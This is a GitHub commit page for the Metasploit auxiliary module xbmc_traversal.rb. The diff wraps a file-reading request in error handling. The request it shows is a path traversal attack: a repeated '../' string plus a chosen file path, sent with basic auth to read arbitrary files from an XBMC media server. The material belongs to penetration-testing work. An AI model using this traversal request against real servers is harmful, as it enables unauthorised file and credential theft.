Skip to content

Commit b221711

Browse files
committed
Added basic error handling
1 parent 67c2c3d commit b221711

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

modules/auxiliary/gather/xbmc_traversal.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -54,11 +54,16 @@ def run
5454

5555
# Create request
5656
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
57-
res = send_request_raw({
58-
'method' => 'GET',
59-
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
60-
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
61-
}, 25)
57+
begin
58+
res = send_request_raw({
59+
'method' => 'GET',
60+
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
61+
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
62+
}, 25)
63+
rescue Rex::ConnectionRefused
64+
print_error("#{rhost}:#{rport} Could not connect.")
65+
return
66+
end
6267

6368
# Show data if needed
6469
if res

0 commit comments

Comments
 (0)